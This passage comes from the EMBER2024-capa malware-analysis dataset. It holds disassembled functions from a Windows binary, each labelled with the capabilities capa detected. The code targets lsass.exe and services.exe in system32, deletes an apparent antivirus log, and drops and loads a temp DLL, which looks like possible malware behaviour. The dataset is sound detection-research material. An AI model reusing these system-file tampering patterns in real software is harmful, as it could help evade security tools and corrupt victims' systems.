joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46f3bd
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 0x118], ecx
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea ecx, [ebp - 0x104]
push ecx
call fcn.0040a130
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x46f407
xor eax, eax
jmp 0x46f513
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x108], 0
jmp 0x46f431
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 7
jae 0x46f4ac
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx*4 + 0x51c0c0]
push edx
push 0x104
mov eax, dword [ebp - 0x10c]
push eax
call fcn.00409000
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffff
jne 0x46f477
jmp 0x46f422
push 0x80
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x46f422
push str.360.log
push 0x104
mov edx, dword [ebp - 0x10c]
push edx
call fcn.00409000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xffffffff
je 0x46f50e
push 0x80
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 4
push 0
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x46f517
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 0x10]
call fcn.0046dfaa
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x46f53d
mov eax, dword [ebp - 8]
jmp 0x46f593
push 0x51c3d8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x46f590
mov ecx, dword [ebp - 0xc]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
call sub.ntdll.dll_strlen
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
jbe 0x46f583
mov dword [ebp - 8], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x471554
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 0x214], ecx
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x5c
lea edx, [ebp - 0x104]
push edx
call fcn.0041eec0
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x4715ae
xor eax, eax
jmp 0x471677
mov eax, dword [ebp - 0x10c]
mov byte [eax], 0
mov ecx, dword [ebp - 0x10c]
add ecx, 1
mov dword [ebp - 0x10c], ecx
push 0x5c
lea edx, [ebp - 0x210]
push edx
call fcn.0041eec0
add esp, 8
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x4715ed
xor eax, eax
jmp 0x471677
mov eax, dword [ebp - 0x108]
mov byte [eax], 0
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0x108]
push edx
lea eax, [ebp - 0x104]
push eax
push 0x51d414
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040a150
add esp, 0x14
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x47163d
mov eax, 1
jmp 0x471677
mov ecx, dword [ebp - 0x108]
push ecx
lea edx, [ebp - 0x104]
push edx
push 0x51d428
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040a150
add esp, 0x14
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x471675
mov eax, 1
jmp 0x471677
xor eax, eax
mov esp, ebp
pop ebp
ret 8

Function at 0x47167d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
mov dword [ebp - 0x108], ecx
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp dword [ebp + 0x10], 0
je 0x4716d2
push str.dllcachelsass.exe
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
jmp 0x4716e4
push str.lsass.exe
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00409000
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x471704
Capabilities:
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b29a0
push 0x4a7764
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffed8
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x138], ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0
je 0x471757
mov eax, dword [ebp + 8]
push eax
call sub.ntdll.dll_strlen
add esp, 4
test eax, eax
jne 0x47175e
xor eax, eax
jmp 0x47189b
mov dword [ebp - 4], 0
xor ecx, ecx
cmp dword [ebp + 0xc], 0
sete cl
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.0042b751
add esp, 0xc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x28]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
jne 0x4717b3
cmp dword [ebp - 0x2c], 0
je 0x4717b8
mov edx, dword [ebp - 0x2c]
cmp dword [edx], 0x4550
je 0x4717b8
jmp 0x47186d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x80]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042bc0a
add esp, 8
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp dword [edx + 0xc], 0
je 0x47186d
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042bc0a
add esp, 8
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov dword [ebp - 0x30], ecx
push 0x104
lea edx, [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [ebp - 0x30]
push eax
lea ecx, [ebp - 0x134]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 1
lea edx, [ebp - 0x134]
push edx
call fcn.00470480
add esp, 8
test eax, eax
je 0x47186d
mov dword [ebp - 0x20], 1
cmp dword [ebp + 0xc], 0
je 0x47186d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x80]
add ecx, 0x14
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x80], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x84]
sub ecx, 0x14
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x84], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x471886
cmp dword [ebp - 0x1c], 0
je 0x471898
mov eax, dword [ebp - 0x1c]
push eax
call fcn.0042b816
add esp, 4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x473af4
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov dword [ebp - 0x21c], ecx
push 0
push 0
push 3
push 0
push 3
push closesocket
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffff
jne 0x473b32
xor eax, eax
jmp 0x473cfa
lea ecx, [ebp - 0x148]
push ecx
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x148], 0
jne 0x473b5b
cmp dword [ebp - 4], 0x1000000
jb 0x473b6f
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x473cfa
push 0
lea ecx, [ebp - 0x100]
push ecx
push 0x40
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x473c08
mov ecx, dword [ebp - 0x144]
and ecx, 0xffff
cmp ecx, 0x5a4d
jne 0x473c08
push 0
push 0
mov edx, dword [ebp - 0x108]
push edx
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, dword [ebp - 0x108]
jne 0x473c08
push 0
lea ecx, [ebp - 0x100]
push ecx
push 0xf8
lea edx, [ebp - 0xfc]
push edx
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x473c08
cmp dword [ebp - 0xfc], 0x4550
jne 0x473c08
mov ecx, dword [ebp - 0xf6]
and ecx, 0xffff
test ecx, ecx
jne 0x473c1c
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x473cfa
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0xc], 0
jne 0x473c39
mov eax, 1
jmp 0x473cfa
mov dword [ebp - 0x14c], 0
jmp 0x473c54
mov ecx, dword [ebp - 0x14c]
add ecx, 1
mov dword [ebp - 0x14c], ecx
cmp dword [ebp - 0x14c], 2
jae 0x473cf8
mov dword [ebp - 0x218], 0
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx*4 + 0x4b307c]
mov ecx, dword [ebp - 0x218]
movsx edx, byte [eax + ecx]
cmp edx, 0xffffffff
je 0x473cbb
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax*4 + 0x4b307c]
mov edx, dword [ebp - 0x218]
mov eax, dword [ebp - 0x218]
mov cl, byte [ecx + eax]
mov byte [ebp + edx - 0x214], cl
mov edx, dword [ebp - 0x218]
add edx, 1
mov dword [ebp - 0x218], edx
jmp 0x473c6b
mov eax, dword [ebp - 0x218]
mov byte [ebp + eax - 0x214], 0
mov ecx, dword [ebp - 0x218]
push ecx
lea edx, [ebp - 0x214]
push edx
push 0x51f56c
mov eax, dword [ebp + 8]
push eax
call fcn.0042ad27
add esp, 0x10
test eax, eax
je 0x473cf3
mov eax, 1
jmp 0x473cfa
jmp 0x473c45
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x473d00
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov dword [ebp - 0x14c], ecx
push str.inf_
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ntdll.dll_strstr]
add esp, 8
test eax, eax
jne 0x473d2c
xor eax, eax
jmp 0x473e54
push 0
push 0
push 3
push 0
push 3
push closesocket
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xffffffff
jne 0x473d5b
xor eax, eax
jmp 0x473e54
lea edx, [ebp - 0x148]
push edx
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x148], 0
jne 0x473d84
cmp dword [ebp - 4], 0x1000000
jb 0x473d98
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x473e54
push 0
lea edx, [ebp - 0x100]
push edx
push 0x40
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x473e31
mov edx, dword [ebp - 0x144]
and edx, 0xffff
cmp edx, 0x5a4d
jne 0x473e31
push 0
push 0
mov eax, dword [ebp - 0x108]
push eax
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, dword [ebp - 0x108]
jne 0x473e31
push 0
lea edx, [ebp - 0x100]
push edx
push 0xf8
lea eax, [ebp - 0xfc]
push eax
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x473e31
cmp dword [ebp - 0xfc], 0x4550
jne 0x473e31
mov edx, dword [ebp - 0xf6]
and edx, 0xffff
test edx, edx
jne 0x473e42
mov eax, dword [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x473e54
mov ecx, dword [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x473e5a
Capabilities:
Get common file path
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b3088
push 0x4a7764
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffeb0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0
xor eax, eax
cmp dword [ebp + 0xc], 0
sete al
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042b751
add esp, 0xc
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x28]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x5a4d
jne 0x473ee5
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx], 0x4550
je 0x473eea
jmp 0x473fb5
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x80]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.0042bc0a
add esp, 8
mov edx, dword [ebp - 0x28]
add edx, eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp dword [eax + 0xc], 0
je 0x473fb5
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.0042bc0a
add esp, 8
mov ecx, dword [ebp - 0x28]
add ecx, eax
mov dword [ebp - 0x30], ecx
push 0x104
lea edx, [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [ebp - 0x30]
push eax
lea ecx, [ebp - 0x134]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 1
lea edx, [ebp - 0x15c]
push edx
push 0
push 0
lea eax, [ebp - 0x134]
push eax
call fcn.0042ab5b
add esp, 0x14
test eax, eax
je 0x473fa7
push 6
push 0x51f57c
lea ecx, [ebp - 0x15c]
push ecx
call dword [sym.imp.ntdll.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x473fa7
mov dword [ebp - 0x20], 1
cmp dword [ebp + 0xc], 0
je 0x473fa5
mov edx, dword [ebp - 0x24]
mov dword [edx + 0xc], 0
jmp 0x473fb5
mov eax, dword [ebp - 0x24]
add eax, 0x14
mov dword [ebp - 0x24], eax
jmp 0x473f08
mov dword [ebp - 4], 0xffffffff
jmp 0x473fce
cmp dword [ebp - 0x1c], 0
je 0x473fe0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0042b816
add esp, 4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x473ff6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov dword [ebp - 0x108], ecx
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp dword [ebp + 0x10], 0
je 0x474031
push str.dllcache_services.exe
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
jmp 0x474043
push str.services.exe
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x104]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00409000
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc
Function at 0x47509b
Capabilities:
Create directory
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4abeac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x218
mov dword [ebp - 0x224], ecx
lea ecx, [ebp - 0x114]
call fcn.0041bcb0
mov dword [ebp - 4], 0
mov dword [ebp - 0x118], 0
mov eax, dword [ebp + 8]
push eax
push str.._s_nul.dll_
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call fcn.0040a150
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
push 0x5216cc
push 0x104
lea eax, [ebp - 0x21c]
push eax
call fcn.0040a150
add esp, 0x10
cmp dword [ebp + 0xc], 0
je 0x475188
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x118], eax
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x118], eax
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x118], eax
push 0x1f01ff
push 0
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x114]
call fcn.0041c208
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x47520a
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1f01ff
push 0
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x114]
call fcn.0041c1e5
push 0x80
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x80
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x220], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.0041bcc7
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x47586d
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 0x214], ecx
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x5c
lea edx, [ebp - 0x104]
push edx
call fcn.0041eec0
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x4758c7
xor eax, eax
jmp 0x475990
mov eax, dword [ebp - 0x10c]
mov byte [eax], 0
mov ecx, dword [ebp - 0x10c]
add ecx, 1
mov dword [ebp - 0x10c], ecx
push 0x5c
lea edx, [ebp - 0x210]
push edx
call fcn.0041eec0
add esp, 8
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x475906
xor eax, eax
jmp 0x475990
mov eax, dword [ebp - 0x108]
mov byte [eax], 0
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0x108]
push edx
lea eax, [ebp - 0x104]
push eax
push str._sWindows.old_s
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040a150
add esp, 0x14
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x475956
mov eax, 1
jmp 0x475990
mov ecx, dword [ebp - 0x108]
push ecx
lea edx, [ebp - 0x104]
push edx
push str._sWindows.old.000_s
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040a150
add esp, 0x14
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x47598e
mov eax, 1
jmp 0x475990
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x475cda
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax]
test ecx, ecx
je 0x475e68
mov edx, dword [ebp + 0x10]
xor eax, eax
mov ax, word [edx]
sub eax, 1
imul eax, eax, 0x28
mov ecx, dword [ebp + 0xc]
add ecx, eax
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx + 0x24], 0xe00000e0
je 0x475de0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x24]
and ecx, 0xf0000000
cmp ecx, 0xe0000000
jne 0x475ddb
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0x1c]
cmp eax, dword [edx + 0xc]
jb 0x475ddb
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp - 8]
add edx, dword [eax + 0x10]
cmp dword [ebp + 0x1c], edx
jae 0x475ddb
push 0
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x10]
push ecx
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x475ddb
push 0
lea ecx, [ebp - 0x10]
push ecx
push 4
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x475ddb
mov ecx, dword [ebp + 0x14]
cmp ecx, dword [ebp - 0xc]
jne 0x475ddb
mov edx, dword [ebp + 0x10]
mov ax, word [edx]
sub ax, 1
mov ecx, dword [ebp + 0x10]
mov word [ecx], ax
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x14]
call fcn.00475cda
jmp 0x475e6b
jmp 0x475e68
push 0
push 0
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x14]
add eax, 0xa1
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x10]
push edx
push 4
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x475e68
push 0
lea edx, [ebp - 0x10]
push edx
push 4
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x475e68
mov edx, dword [ebp + 0x14]
cmp edx, dword [ebp - 0xc]
jne 0x475e68
mov eax, dword [ebp + 0x10]
mov cx, word [eax]
sub cx, 1
mov edx, dword [ebp + 0x10]
mov word [edx], cx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.00475cda
jmp 0x475e6b
mov eax, dword [ebp + 0x1c]
mov esp, ebp
pop ebp
ret 0x18
Function at 0x476300
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov dword [eax], 0x4b3954
mov ecx, dword [ebp - 4]
cmp dword [ecx + 4], 0
je 0x476333
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
add ecx, 8
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esp, ebp
pop ebp
ret

Function at 0x476674
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10c], 0
je 0x476691
mov eax, 1
jmp 0x476749
mov ecx, dword [ebp - 4]
add ecx, 8
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.fixfinal2.dll
mov edx, dword [ebp - 4]
add edx, 8
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov ecx, dword [ebp - 4]
call fcn.0047674d
test eax, eax
jne 0x4766c8
xor eax, eax
jmp 0x476749
mov eax, dword [ebp - 4]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 4], 0
jne 0x4766f5
mov eax, dword [ebp - 4]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x476749
push str.ScanXXX
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10c], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x10c], 0
jne 0x476744
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp - 4]
mov dword [edx + 4], 0
mov eax, dword [ebp - 4]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
jmp 0x476749
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x47674d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x476782
xor eax, eax
jmp 0x4767c4
push 0
